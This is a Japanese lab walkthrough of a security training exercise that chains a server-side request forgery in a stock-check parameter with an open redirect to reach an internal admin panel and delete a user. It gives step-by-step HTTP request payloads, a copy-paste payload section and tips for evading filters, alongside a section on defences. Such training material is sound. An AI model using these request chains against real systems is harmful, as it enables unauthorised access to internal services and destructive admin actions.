Hello there, ('ω')ノ
ねらい
このLABは在庫チェック機能(サーバ側が別URLへHTTPリクエストを発行して在庫を取得)にSSRFが潜んでいます。ただし同一オリジンしか叩けない制限があるため、まずアプリ内のオープンリダイレクトを見つけて内部アドレス(http://192.168.0.12:8080/admin)へ転送させる、という二段チェーンで突破します。最終的にはcarlosユーザーを削除してクリアします。
全体像(シナリオの流れ)
- 「Check stock」を押して発生するリクエストをBurpで観察。パラメータstockApiが存在し、サーバがそのURLへアクセスしていることを把握。
- stockApiのホストを書き換えても拒否され、同一オリジン制限があると分かる。
- 画面の「next product」をクリックしてレスポンスヘッダを観察。pathパラメータがLocationヘッダにそのまま入る=オープンリダイレクトを発見。
- この脆弱なエンドポイントをstockApiの値(同一オリジンのパス)として指定し、内部管理画面URLへリダイレクトさせる。
- 管理UIに到達できたら、/admin/delete?username=carlos へ転送して削除を実行。
攻略手順:一手ずつ「なぜそうするか」付きで
1) 在庫チェックの通信をつかまえる
操作:商品ページで「Check stock」をクリック→BurpでリクエストをInterceptし、Repeaterへ送る。
観察:次のような形(例)で、stockApiパラメータが含まれるはずです。
GET /product/stock?productId=1&storeId=1&stockApi=/some/local/path HTTP/1.1
Host: acme.lab
...
- なぜ:バックエンドはstockApiに指定されたパス(またはURL)へサーバ側からHTTPし、その応答を画面に反映している構造(=SSRFの入口)です。
2) 直で内部ホストを指定できるか試す(失敗を確認)
- 操作:stockApiを内部アドレスに変更して送信(失敗想定)。
GET /product/stock?productId=1&storeId=1&stockApi=http://192.168.0.12:8080/admin HTTP/1.1
- 観察:レスポンスはエラー、あるいはホストが許可されていない旨。
- なぜ:サーバ側で同一オリジンのみ許可などの簡易フィルタが働き、外部・内部IP直指しが弾かれます。
3) アプリ内のリダイレクト挙動を探す(オープンリダイレクト発見)
- 操作:商品ページの「next product」をクリック。Burpでレスポンスヘッダを確認。
- 観察:次のようなリダイレクト(例)。pathクエリの値がそのままLocationに入る。
HTTP/1.1 302 Found
Location: <pathパラメータの値>
例えば:
GET /product/nextProduct?path=/product?productId=2
→ Location: /product?productId=2
- なぜ:入力値を無検証でLocationに反映しており、フルURLも通るなら完全なオープンリダイレクトです。
4) リダイレクトをSSRFの踏み台にする
方針:stockApiには同一オリジンのパスしか通らない → なら同一オリジンである/product/nextProduct?path=…を指定し、そこで内部アドレスへリダイレクトさせる。
操作:Repeaterで次のように送る:
GET /product/stock?productId=1&storeId=1&stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin HTTP/1.1
Host: acme.lab
観察:バックエンドのHTTPクライアントは/product/nextProduct(同一オリジン)へアクセス → 302のLocation: http://192.168.0.12:8080/admin を受けて自動追従 → 内部管理UIの応答が在庫チェッカーの結果として表示されます。
なぜ:同一オリジン制限は「最初のアクセス先」にしか効かない実装が多く、リダイレクト先までは検査しない/制御できないため、そこを突いています。
5) 目標操作(ユーザー削除)を実行
- 操作:path先を/admin/delete?username=carlosに変更して再送信。
GET /product/stock?productId=1&storeId=1&stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos HTTP/1.1
観察:在庫チェックの結果ペイン(またはレスポンス本文)に、削除成功の表示が出るか、LABがSolvedになります。
なぜ:バックエンドがリダイレクトを追って内部管理エンドポイントに到達し、指定の副作用(アカウント削除)を起こしたためです。
仕組みの理解(なぜこのチェーンが効くのか)
- SSRF: サーバ側が与えられたURLにリクエストする挙動そのもの。
- 同一オリジン制限: 一見強そうだが、最初のURLだけチェックして終わり、という粗い実装が多い。
- オープンリダイレクト: 任意のLocationへ転送可能。サーバ側HTTPクライアントが自動的にリダイレクト追従する設定だと、以後のURLは未検査で到達してしまう。
- 結果: “同一オリジン→302→内部IP” という二段ロケットで内部管理面にアクセスできる。
つまずきポイント&対処
リダイレクトが発火しない
- pathにフルURL(http://…)を入れているか確認。相対パスだと内部へ行けない。
- サーバがリダイレクト自動追従しない場合、レスポンスに管理画面HTMLが載らないことがあるが、このLABは追従前提。
stockApiがURLエンコードを要求
- 必要に応じてpathの値をURLエンコード(例:
path=http%3a%2f%2f192.168.0.12%3a8080%2fadmin)。 - さらにstockApi自体がクエリ内にあるため、二重エンコードが必要な場合もあります。
- 必要に応じてpathの値をURLエンコード(例:
WAFで192.168.*が弾かれる
- このLABではそこまで厳しくない想定。実務なら十進エンコード/IPv6表記/整数表記/localhost変種などを検討。
実務目線の防御
- サーバ側リダイレクト追従を禁止/制御(
maxRedirects=0など)。 - リダイレクト前後の両方でホスト/ネットワーク検証(追従ごとに再検証)。
- URL許可リストで厳密に固定エンドポイントのみへアクセス。
- DNS再解決の固定/ループ防止(SSRFでホスト名トリック回避)。
- アプリ内のオープンリダイレクトを排除(Locationに外部フルURLを許さない、ホワイトリスト検証)。
コピペ用(LAB向けサンプル)
管理UIに到達
/product/stock?productId=1&storeId=1&stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin
carlos削除
/product/stock?productId=1&storeId=1&stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos
※ 必要なら http:// をURLエンコードしてから差し込んでください。
まとめ
このLABの核心は、「同一オリジン制限は“最初のURL”しか見ていない」という実装の甘さに、オープンリダイレクトを組み合わせて突破することです。 手順は、在庫チェックのSSRF入口(stockApi)を確認 → nextProductのリダイレクト脆弱性を発見 → stockApiに脆弱エンドポイントのパスをセット → pathで内部管理URLへ誘導 → /admin/delete?username=carlosで削除。 この「SSRF + リダイレクト追従」の思考パターンは、実務でも高頻度で再現するため、覚えておくと強力です。
Best regards, (^^ゞ